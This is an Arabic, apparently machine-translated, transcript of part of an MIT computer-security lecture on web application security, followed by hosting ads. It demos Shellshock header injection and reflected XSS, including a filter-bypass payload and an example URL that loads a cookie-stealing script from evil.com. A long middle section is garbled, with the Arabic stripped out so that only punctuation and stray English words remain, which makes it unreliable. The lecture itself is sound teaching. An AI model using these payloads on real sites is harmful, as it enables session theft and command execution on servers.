معهد ماساتشوستس للتكنولوجيا. محاضرة رقم 6.858. "أمن أنظمة الكمبيوتر." نيكولاي زيلدوفيتش ، جيمس ميكنز. 2014 سنة
أمان أنظمة الكمبيوتر هي دورة حول تطوير وتنفيذ أنظمة الكمبيوتر الآمنة. تغطي المحاضرات نماذج التهديد ، والهجمات التي تهدد الأمن ، وتقنيات الأمان بناءً على العمل العلمي الحديث. تشمل الموضوعات أمان نظام التشغيل (OS) ، والميزات ، وإدارة تدفق المعلومات ، وأمان اللغة ، وبروتوكولات الشبكة ، وأمان الأجهزة ، وأمان تطبيقات الويب.
المحاضرة 1: "مقدمة: نماذج التهديد"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 2: "السيطرة على هجمات القراصنة"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 3: "تجاوزات العازلة: المآثر والحماية"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 4: "فصل الامتيازات"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 5: "من أين تأتي أنظمة الأمن؟"
الجزء 1 /
الجزء 2المحاضرة 6: "الفرص"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 7: "وضع حماية العميل الأصلي"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 8: "نموذج أمن الشبكات"
الجزء 1 /
الجزء 2 /
الجزء 3المحاضرة 9: "أمان تطبيق الويب"
الجزء 1 /
الجزء 2 /
الجزء 3 لنبدأ المحاضرة الثانية في سلسلتنا الرائعة من قصص أمان الويب. أود الشروع على الفور في عرض سريع للأمثلة ، لأنك تعلم أن عروضنا التجريبية لا تعمل أبدًا. آمل ألا ترى شاشة فارغة اليوم.
الفكرة الأساسية هي أنني أود أولاً أن أوضح لك مثالاً على خطأ في Shellshock ربما سمعت عنه بالفعل. كان هذا موضوعًا شائعًا جدًا في أدبيات أمان الكمبيوتر.
يعطي الناس خطأ Heartbleed تصنيفًا أقصى يبلغ 10 على مقياس الخطر 10. ويعتبرون أن هذا هو الخطأ الأكثر خطورة الذي يجب على النظام الأمني حمايته. اعتقدت أنه سيكون فكرة رائعة أن تظهر لك تاريخًا حيًا لهذه المشكلة يمكنك إعادة بيعه لوالديك حتى يفهموا أن الدراسة في معهد ماساتشوستس للتكنولوجيا تستحق المال.
إذن ما هي الفكرة الرئيسية لخطأ Shellshock؟ هذا مثال رائع حقًا لسبب صعوبة إنشاء تطبيقات ويب آمنة تغطي تقنيات متعددة ولغات متعددة وأنظمة تشغيل متعددة وما إلى ذلك. لذلك ، فإن الفكرة الرئيسية هي أن Shellshock تستخدم حقيقة أن المهاجم يمكنه إنشاء طلب http خاص للخادم وإدارة الرؤوس في هذا الطلب. لقد كتبت مثالاً بسيطًا جدًا على السبورة.
افترض أن أحد المهاجمين يريد إرسال طلب GET إلى بعض CGI حول موضوع بحث القطط ، لأن هذا هو بالضبط ما يبحث عنه الأشخاص دائمًا على الإنترنت (مجرد مزاح). لذلك ، ستكون هناك علامة استفهام ، ونوع من عنوان المضيف القياسي مع عنوان URL ، على سبيل المثال ، example.com:
احصل على /querry.cgi؟ بحث = قطط
المضيف: example.com
رأس مخصص: قيمة مخصصة
لاحظ الآن أن المهاجم يمكنه أيضًا تحديد رؤوس مخصصة. على سبيل المثال ، أريد أن أجد نوعًا من رؤوس خاصة بالتطبيق تسمى رأس مخصص لتحديد بعض القيمة المخصصة هناك ، لأن تطبيق الويب يمكن أن يحدد بعض الوظائف التي لا يمكن التعبير عنها باستخدام رؤوس HTTP بسيطة محددة مسبقًا. لذلك في حين أن كل هذا يبدو غير ضار إلى حد ما.
ولكن في النهاية ، ما يحدث هو أن العديد من خوادم الويب هذه لمعالجة نصوص CGI ستقبل بالفعل هذه القيم المخصصة من رأس القيمة المخصصة واستخدامها لتعيين متغيرات بيئة Bash. أي أنهم سيستخدمون هذا الرأس المخصص لإنشاء رأس مخصص لاسم متغير Bash ، وسيأخذون هذه القيمة المخصصة التي قدمها المهاجم واستخدامها كقيمة لمتغير Bash. بمجرد تعيين هذا المتغير ، سيقوم خادم CGI ببعض المعالجة لسياق هذه البيئة.
وهذا أمر سيئ لأن خوادم الويب لا يجب أن تأخذ قيمًا عشوائية من هذه الأشياء "القذرة" العشوائية. وبالتالي ، في مثال محدد لخطأ في Shellshock ، ما يحدث هو أنه إذا أعطيت متغير Bash قيمة ضارة ، فقد يبدأ شكل من الجنون.
بشكل أساسي ، يتم اختيار هذا التعريف الضار للدالة في لغة البرمجة النصية لـ Bash ، ولا يجب أن تزعجك تفاصيل هذه العملية. ولكن الحقيقة هي أنه إذا تم تعيين معلمة Bash بشكل صحيح ، فلن يتم تنفيذ هذا الجزء من / bin / id. لذلك حددت نوعًا من وظيفة غبية لا تفعل شيئًا وتنهي عملية الاستعلام.
ومع ذلك ، فإن هذا التسلسل من الشخصيات يربك محلل Bash ؛ يبدو أنه يتعثر في هذا الهراء الموجود بعد الخط المائل. ثم يقول: "أوه ، يمكنني الاستمرار في تحليل وتنفيذ بعض الأوامر هنا ، أليس كذلك؟" وفي هذه الحالة ، يقوم ببساطة بتنفيذ الأمر bin / id ، الذي يعرض بعض المعلومات حول المستخدم. لكن جوهر الثغرة هو أنه بدلاً من bin / id ، يمكنك وضع أي رمز هنا!
سأعطيك مثالًا بسيطًا للغاية ستراه على الشاشة. هذا خادم Python بسيط للغاية ، وهو أسهل خادم يمكنك تخيله. أستخدم طريقة GET هنا. تعني هذه الطريقة تكرار جميع رؤوس HTTP في الطلب.
هنا في الرأس لدينا قيمة للمتغير K وقيمة للاستعلام V. في هذه الحالة ، يقوم GET بطباعة الرؤوس التي يعثر عليها.
ثم سيفعل شيئًا غبيًا جدًا - لإجراء مكالمة للنظام وتعيين قيمة الصدفة مباشرة على القيمة الموضحة في الرأس. إذن هذا هو الجذر الكامل للضعف.
إذا انتقلت إلى علامة التبويب التالية وقمت بتشغيل خادم الويب الخاص بالضحية ، فإننا نرى أنه مستعد لقبول الطلبات.
ثم يمكنني كتابة عميل Shellshock الخاص - وهو موجود في علامة التبويب التالية.
في الواقع ، الأمر بسيط للغاية - أنا فقط أعرّف أحد هذه الخطوط الهجومية الخبيثة ، لذا فهي تحتوي أولاً على مثل هذه القيم "المنحنية". وبعد ذلك أعرف فقط أنه في جانب الخادم ، سيتم الآن تنفيذ كل شيء وفقًا لإرادتي.
في هذه الحالة ، استخدمت شيئًا غير ضار - صدى "أمتلك سيارتك". ولكن يمكن أن يكون هناك أي شيء. يمكنك تشغيل Bash shell آخر باستخدام معلمة "echo ATTACKER CMD" ، أي أمر المهاجم الحقيقي ، والذي يمكن أن يكون خطيرًا للغاية.
لذا ، قمت بتعيين الرؤوس وطلب المستخدم ، ثم استخدم Python فقط لإنشاء اتصال HTTP وإرساله إلى الخادم. إذن ماذا يحدث في النهاية؟ أنا أشغل عميل Shellshock هنا.
ترى ، ظهر الخطأ 404 هنا ، لأنه لا يهم الملف الذي طلبته ، أنا فقط أدخل نوعًا من الفهرس هنا لا يوجد HTML. ولكن إذا نظرت هنا ، في علامة التبويب الثانية ، حيث نعرض خادم الويب للضحية الذي وافق على الاتصال عبر المنفذ 8282 ، فسنرى أنه تلقى رسائلي "أملك سيارتك" و ATTACKER CMD.
لأنه بمجرد أن يتلقى خادم الضحية هذا الرأس ، فإنه يعين على الفور قيم متغير Bash ، ونتيجة لذلك ، تم إطلاق أمر ATTACKER CMD. هل هذا واضح؟
الجمهور: هل يحدث هذا إذا بدأ البرنامج بهذا العنوان؟
الأستاذ: نعم. وبالتالي ، فإن تفاصيل كيفية عمل الهجوم تعتمد على كيفية ظهور خادم الويب الخاص بك ، على سبيل المثال ، سواء كنت تعمل مع Apache أم لا. هذا المثال بعيد المنال قليلاً ، لأنني قمت بالفعل بإنشاء غلاف Bash آخر ، وقمت بتعيين متغير shell ، وبعد ذلك فقط بدأت العملية. ولكن يمكنك أن تتخيل أنه إذا قمت بإنشاء عمليات أخرى لكل اتصال وارد ، فيمكنك تعيين متغير البيئة مباشرة.
الجمهور: وبالتالي ، إذا عدت إلى كود خادم الويب ، يبدو أن هناك ثغرة أسوأ بكثير من Shellshock. نظرًا لأنه يمكنك إجراء مكالمة للنظام وتنفيذ الأمر ببساطة عن طريق تعيين الرأس المخصص إلى شيء آخر ، ولن أحتاج إلى استخدام خطأ Shellshock في هذا المثال.
الأستاذ: نعم ، هذا صحيح ، في خادم الويب هذا ، الذي كتبته كمثال فقط ، هناك شيء لا يمكن الوثوق به لأي شيء. ولكن إذا لم يكن لدينا Python ، ولكن Apache ، فيمكننا مباشرة تعيين قيمة البيئة لأي خدمة معينة باستخدام المعلمة set nth. ولكن هناك خوادم مثل هذه تنشئ عملية منفصلة وتفعل شيئًا مشابهًا جدًا للمثال المقدم.
مثال آخر أردت أن أقدمه لك هو مثال البرمجة النصية عبر المواقع. كان خطأ Shellshock نوعًا من الأمثلة على مدى أهمية تطهير المحتوى. ناقشنا حقيقة أنه لا يجب عليك قبول المدخلات من الأشخاص العشوائيين واستخدامها مباشرة في فرق من أي نوع.
تعد البرمجة عبر المواقع مثالًا آخر يوضح سبب حدوث خطأ ما. في هذا المثال ، لدي خادم CGI بسيط آخر مكتوب بلغة Python.
هذا هو المؤشر الذي يتم تنفيذه عند تلقي طلب من العميل. لقد قمت بطباعة بعض الرؤوس هنا للإجابة ، وستكون إجابتي نص HTML. كما اتضح ، فإن المتصفحات لديها بعض آليات الأمان لمحاولة منع الهجوم الذي سأريكم إياه. لذلك ، جعلت من الممكن تعطيل بعض آليات هذه الحماية بوضع شريط العنوان هذا في البداية.
يحصل البرنامج النصي CGI على إمكانية الوصول إلى جميع الحقول وطلبات CGI ، بدءًا من نموذج السطر = cgi.FieldStorage (). تخيل أن كل شيء موجود في السطر بعد علامة الاستفهام هذه يمثل العنوان والمعلمات الخاصة بمثالنا:
احصل على /querry.cgi؟ بحث = قطط
المضيف: example.com
رأس مخصص: قيمة مخصصة
بعد ذلك ، يقوم نص cgi بعمل بسيط للغاية - فهو يطبع على الفور قيمة شيء جاء من المهاجم. هذه هي الفكرة الأساسية نفسها ، وهذه فكرة سيئة ، لأن وظيفة الطباعة هذه تطبع القيمة الناتجة مباشرة في HTML نفسه.
هنا قد يحدث ما يلي. افترض أن لدي مجموعة من الاستفسارات التي أريد تشغيلها. في هذا الطلب الأول ، قمت ببساطة بتعيين قيمة الرسالة إلى Hello ، أي أنني انتقل إلى عنوان السطر الأول.
لذلك ، إذا انتقلت إلى صفحتي ، فسوف أرى كلمة مرحبًا بها ، لأن الخادم يقبل مباشرة ما أنقل إليه ويطبع "مرحبًا". لذلك لا مفاجآت.
أتفهم أنه يمكنني حقًا تمرير شفرة HTML عشوائية هناك ، وإذا قمت بتعيين تنسيق رأس h1 ، أي سأرسل السطر الثاني المنتهيًا إلى الخادم ، سيتغير على الصفحة أيضًا - كما ترى ، تم تغيير نمط الكلمة إلى نمط رأس h1. لذلك يعمل ، اكتب القيم مباشرة في الصفحة.
رائع ، نحن الآن في العمل ، وهذا رائع. الآن دعنا فقط نضيف شفرة JavaScript ، أي أننا سنشغل السطر الثالث الذي أعدته في المتصفح ، حيث يتم إدراج نص برمجي ، والذي يعمل بعد معلمة التنبيه ("XSS").
لذا نرى الآن شاشة فارغة. يبدو أننا لم ننجح ، لأنه لا يوجد مخرجات مرئية ، ولم ألاحظ أي تحذيرات.
ولكن إذا نظرت إلى ناتج خادم الويب ، فسوف أرى أن خادم الويب نفسه لم يتلق بالفعل علامة البرنامج النصي النهائية هذه. يبدو أن المتصفح نفسه اكتشف شيئًا ما بطريقة ما ، على الرغم من أنني حاولت تعطيل مرشح XSS. لذلك من المثير للاهتمام للغاية. في وقت لاحق ، سنلقي نظرة فاحصة على آلية الحماية هذه ، ولكن في الوقت الحالي سألاحظ أن المتصفح يحاول تحمل هجوم البرمجة النصية عبر المواقع.
ولكن يمكنك الاستفادة من حقيقة أن HTML و CSS و JavaScript هي لغات معقدة للغاية ، وهي مكتوبة بطريقة يصعب فهمها. سوف أستفيد من هذا وأستخدم السطر الأخير والرابع من إدخالي ، وأضعه في شريط العنوان في المتصفح. هذه سلسلة هجوم تحتوي على عنوان URL غير صالح. يتضمن عنوان URL للصورة <IMG "" "> وعلامة النص البرمجي"> ولا يمكن تحليله في الواقع. لذلك ، عند استلام مثل هذا الخط ، يتم ببساطة الخلط بين المتصفح ويعرض المعلومات على الشاشة: "الصفحة على 127.0.0.1:8282 تقول: XSS". وبالتالي ، لا يعمل الكشف عن البرمجة النصية المضمنة عبر المواقع في الواقع.
إذا نقرنا على زر "موافق" ، سيكون لدينا صفحة فارغة فقط. ولكن إذا نظرت إلى محتوياته ، فسنرى اقتباسات وأقواس غير مفهومة تأتي من العدم.
ومع ذلك ، من وجهة نظر المهاجم ، لا يهم الصفحة التالفة ، لأننا رأينا تحذيرًا ، مما يعني أنه تم إطلاق الرمز. ويمكن استخدامه لسرقة ملفات تعريف الارتباط أو القيام بشيء من هذا القبيل.
الجمهور: ما هو الجانب عبر المواقع؟
البروفيسور: إن الجانب المتقاطع هو أنه إذا تمكن المهاجم من إقناع المستخدم بالانتقال إلى عنوان URL ، كما هو الحال في هذا المثال ، فهو الشخص الذي يحدد محتوى الرسالة. هو الذي يخلق تحذير XSS أو شيء من هذا القبيل. ما يحدث بشكل أساسي هو أن صفحة الضحية تنفذ التعليمات البرمجية نيابة عن شخص لا يدير هذه الصفحة.
لذا ، عرضت عليكم عرضين سريعين للعالم "القذر" الذي نعيش فيه. فلماذا البرمجة النصية عبر المواقع شائعة جدًا؟ لماذا هذه القضايا مهمة جدا؟ والسبب هو أن مواقع الويب أصبحت أكثر ديناميكية وتريد استضافة العديد من المحتوى الذي ينشئه المستخدم أو تضمين محتوى من مجالات أخرى. فكر ، على سبيل المثال ، في قسم التعليقات في مقالة إخبارية ، تأتي هذه التعليقات من أشخاص غير موثوق بهم - من المستخدمين. بطريقة أو بأخرى ، يجب أن تحدد هذه المواقع ما هي القواعد للجمع بين هذه الأشياء.
قد تحتوي مواقع الويب على مستندات مستخدم ، مثل مستندات Google أو مستندات Office 365. تأتي جميع هذه المستندات من أشخاص غير موثوق بهم ، ولكن بطريقة ما يحتاجون إلى التوافق مع بعضهم البعض ومع البنية التحتية الرائعة لـ Google أو Microsoft.
ما أنواع سيناريوهات الأمان عبر المواقع التي يمكننا استخدامها؟ أحد أنواع الحماية هو مرشحات البرمجة النصية عبر المواقع في المستعرض نفسه. ستحاول عوامل التصفية هذه الكشف عن هجمات البرمجة النصية المحتملة عبر المواقع. وقد رأينا أحد هذه الفلاتر وهو يعمل - كان هذا المثال الثالث للسيناريو الذي درسناه.
لنفترض أن لديك عنوان URL
foo.com/؟q= <script src = “evil.com/cookie stealer.js”>. أي أن هذا العنوان يشغل نصًا برمجيًا يعيد توجيه المستخدم إلى موقع ضار ويسرق منه ملفات تعريف الارتباط.
لذلك ، سيرفض المتصفح تنفيذ ذلك ولن تعمل خدعة هذا المهاجم. والسبب بسيط - ففحص المتصفح للتو لمعرفة ما إذا كان هناك
<script> في عنوان URL هذا ، وبعد العثور عليه ، نهى عن النقر على هذا الرابط. وبالتالي ، يعد هذا أمرًا استرشاديًا بسيطًا للغاية لمعرفة ما إذا كان هناك شيء ضار يحدث ، لأنه لا يوجد مطور عادي سيضع مثل هذه الأشياء في العنوان. يمكنك تكوين خيارات تكوين المستعرض الخاص بك لتمكين أو تعطيل مثل هذه الأشياء. يفيد هذا في بعض الأحيان في الاختبار إذا كنت ترغب فقط في إدخال بعض بيانات JavaScript بسرعة ودون الكثير من التحقق. ولكن عادة ما يتم تمكين هذا الاختيار في المتصفح بشكل افتراضي.
على سبيل المثال ، يحتوي كل من Chrome و IE على فلتر مضمن يبحث في قيمة عنوان URL في شريط العناوين ويبحث عن أشياء مماثلة. وإذا كانت موجودة ، فقد يحاول المتصفح إزالتها تمامًا أو جعل المصدر داخل <> فارغًا. هناك العديد من طرق التحليل الإرشادي بناءً على المتصفحات التي يجب أن تكتشف مثل هذه الأشياء. وإذا نظرت إلى موقع OWASP على الويب ، فهناك أمثلة على استخدام هذا الإرشادي لاكتشاف البرمجة النصية عبر المواقع وأمثلة على كيفية تجاوز هذا الفلتر.
تعلمون ، كان الأمر مضحكًا جدًا ، لأنه في البداية كمثال لمحاضرتنا فعلت شيئًا مشابهًا لهذا ، ولم ينجح. ثم نظرت إلى ورقة الغش OWASP ووجدت الخيار الرابع الذي يعمل ، كان مثالًا على تحليل معطل لعنوان الصورة img.
لذا ، فإن المشكلة الرئيسية ، التي لا تسمح لك بالاعتماد ببساطة على فلاتر المتصفح المضمنة ، هي أن هناك العديد من الطرق المختلفة لإجبار المحلل اللغوي CSS و HTML على تحليل بعض المحتوى بطريقة خاطئة. لذا فإن الحلول المدمجة ليست مثالية ، فهي لا تغطي جميع نقاط الضعف.
الجمهور: ولكن ليس من مسؤولية المتصفح التحقق من مثل هذه الأشياء؟
البروفيسور: أعني الحالة عندما يكون المتصفح على خادم وكيل ويقوم الوكيل بعمل ما هو موضح في هذا المثال. أي أن الفلاتر المضمنة منطقية ، لأنه يمكن أن يكون هناك العديد من المحللون داخل المتصفح ، وتستخدم هذه الفلاتر لحماية طبقات المعالج داخل المتصفح.
الجمهور: أعتقد أنه يمكننا القول أنه من مسؤولية مطور الويب ، وليس المستخدم ، التحقق من هذه الأشياء.
البروفيسور: بمعنى ما ، يمكننا القول أنه على Unix أو Windows هناك أيضًا عمليات يجب أن يهتم بها مطور البرامج ، وليس المستخدم ، ويجب على المطور التأكد من أن هذه الأشياء تظل معزولة. ولكن في الواقع ، يلعب نظام التشغيل والأجهزة أيضًا دورًا مهمًا ، لأنه بخلاف ذلك لا يمكن للمرء أن يثق في أي برامج تم تطويرها بواسطة مطورين عشوائيين. ولكن في الأساس أنت على حق. في الواقع ، تحاول أطر مثل Django أو شيء مشابه مساعدتك في التغلب على بعض هذه المشكلات.
بطريقة أو بأخرى ، الفلاتر ليست حلاً مثاليًا ولا يمكنها منع ما يُعرف بهجمات البرمجة النصية المستمرة أو المستمرة عبر المواقع ، أو XSS المستمر. هذا نوع من التفكير ، لأن كود البرنامج النصي "يعيش" ببساطة في عنوان URL. بمجرد إغلاق المستخدم لعنوان URL هذا ، انتهى الهجوم.
لكن تخيل أن مستخدمًا وضع HTML ضارًا في قسم التعليقات في موقعك. , . , .
, – . HTML- .
? - , . HTML, , . .
: , , , , - ?
: , . , — post. , , XML HTTP .
: , , …
: , , . , . - , .
, , .
, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .
, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .
, JavaScript, cookie, , URL-. , CSRF , .
, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .
? , - , google.com. , google.com. .
, – . , -, , . , . — Django. -, , -.
Django , , . – . CSS , . , . Django , : , .
-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .
ومع ذلك ، فإن Django تعمل بشكل أفضل - فهي تطهر محتوى المستخدم ، حيث تتوقع خدعة منه. إنه ببساطة يضع قيمة متغير الاسم على الفور هنا ، ويقوم بترميزه بطريقة لا يمكن بها هذا المحتوى الخروج من سياق HTML أبدًا وتنفيذ تعليمات JavaScript البرمجية أو شيء من هذا القبيل.26:25 دقيقةدورة معهد ماساتشوستس للتكنولوجيا "أمن أنظمة الكمبيوتر" المحاضرة 9: "أمان تطبيقات الويب" ، الجزء 2النسخة الكاملة من الدورة متاحة
هنا .
شكرا لك على البقاء معنا. هل تحب مقالاتنا؟ هل تريد رؤية مواد أكثر إثارة للاهتمام؟ ادعمنا عن طريق تقديم طلب أو التوصية به لأصدقائك ،
خصم 30 ٪ لمستخدمي Habr على نظير فريد من خوادم مستوى الدخول التي اخترعناها لك: الحقيقة الكاملة حول VPS (KVM) E5-2650 v4 (6 نوى) 10GB DDR4 240GB SSD 1Gbps من 20 $ أو كيفية تقسيم الخادم؟ (تتوفر الخيارات مع RAID1 و RAID10 ، حتى 24 مركزًا وحتى 40 جيجابايت DDR4).
VPS (KVM) E5-2650 v4 (6 نوى) 10GB DDR4 240GB SSD 1Gbps حتى ديسمبر مجانًا عند الدفع لمدة ستة أشهر ، يمكنك الطلب
هنا .
ديل R730xd أرخص مرتين؟ فقط لدينا
2 x Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 TV من 249 دولارًا في هولندا والولايات المتحدة! اقرأ عن
كيفية بناء مبنى البنية التحتية الطبقة باستخدام خوادم Dell R730xd E5-2650 v4 بتكلفة 9000 يورو مقابل سنت واحد؟